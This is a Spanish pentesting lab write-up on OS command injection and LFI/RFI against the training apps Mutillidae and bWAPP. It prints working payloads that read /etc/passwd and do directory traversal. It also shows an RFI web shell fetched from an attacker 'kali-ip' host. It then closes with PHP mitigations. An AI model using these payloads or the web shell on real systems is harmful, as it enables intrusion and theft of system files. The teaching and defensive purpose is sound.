← Volver al inicio
Command Injection RFI LFI Pentesting OWASP

Inyección de Comandos y RFI/LFI

01/02/2022

Práctica sobre explotación y mitigación de vulnerabilidades críticas a nivel de servidor: Inyección de Comandos (OS Command Injection) y la Inclusión de Archivos (LFI/RFI). Estas brechas permiten a un atacante ejecutar código arbitrario o leer archivos sensibles del sistema operativo anfitrión.

1. Inyección de Comandos (OS Command Injection)

Esta vulnerabilidad ocurre cuando una aplicación web pasa datos inseguros suministrados por el usuario directamente a un shell del sistema (usando funciones como exec(), system() o shell_exec()). El atacante puede alterar la ejecución usando "metacaracteres" del shell para encadenar comandos maliciosos.

Los operadores mágicos

Accedemos a OWASP Mutillidae (A1 – Injection → Command Injection → DNS Lookup) y probamos payloads básicos de reconocimiento:

# Ignorar el ping y listar el directorio actual
127.0.0.1 ; pwd
127.0.0.1 | ls -la

# Leer el archivo crítico de usuarios de Linux
127.0.0.1 ; cat /etc/passwd

# Buscar procesos de bases de datos activos
127.0.0.1 && ps -eaf | egrep -l '(postgres|sql|db2|ora)'

2. LFI / RFI (Local & Remote File Inclusion)

Ocurre cuando una aplicación incluye archivos de forma dinámica usando parámetros de la URL sin validarlos correctamente. Si el atacante inyecta rutas del sistema operativo, puede leer archivos que no deberían ser públicos.

LFI (Local File Inclusion) y Directory Traversal

Usamos el parámetro vulnerable en bWAPP para navegar hacia atrás en los directorios del servidor (Directory Traversal) usando ../ hasta llegar a la raíz del sistema:

# Escapar de /var/www/html y leer archivos del sistema
?language=../../../../etc/passwd
?language=../../../../etc/apache2/apache2.conf

RFI (Remote File Inclusion) y Bindshells

Si la configuración de PHP tiene allow_url_include=On, el riesgo es crítico: podemos decirle al servidor que incluya y ejecute un archivo alojado en *nuestro* servidor malicioso.

# 1. En nuestra máquina Kali, creamos shell.txt:
<?php system($_GET['cmd']); ?>

# 2. Obligamos al servidor víctima a ejecutarlo:
http://target/bWAPP/rlfi.php?language=http://kali-ip/shell.txt&cmd=whoami

🔴 ¡Nuevo Sandbox Disponible!

He preparado un emulador de red (Ping Tool) que es vulnerable a Inyección de Comandos. ¿Serás capaz de encadenar un payload para leer el archivo /etc/passwd de mi servidor simulado?

>_ INICIAR RETO CTF 02

3. Contramedidas y Mitigación

Para Inyección de Comandos:

  1. Evitar llamadas al sistema operativo. Si quieres borrar un archivo, usa unlink() en PHP, no exec("rm...").
  2. Validación estricta. Si esperas una IP, usa filtros nativos: filter_var($ip, FILTER_VALIDATE_IP).
  3. Escapar argumentos. Si es estrictamente necesario usar el shell, usa escapeshellarg() para convertir el input en una cadena literal inofensiva.

Para LFI / RFI:

  1. Deshabilitar inclusiones remotas. En php.ini, asegúrate de tener allow_url_include = Off.
  2. Usar mapas de archivos (Listas Blancas). Nunca pases el input del usuario directamente a un include().
<?php
// Defensa robusta contra LFI
$allowed_files = ['es' => 'es_lang.php', 'en' => 'en_lang.php'];
$selection = $_GET['lang'] ?? 'es';
$file_to_include = $allowed_files[$selection] ?? $allowed_files['es'];
include($file_to_include);
?>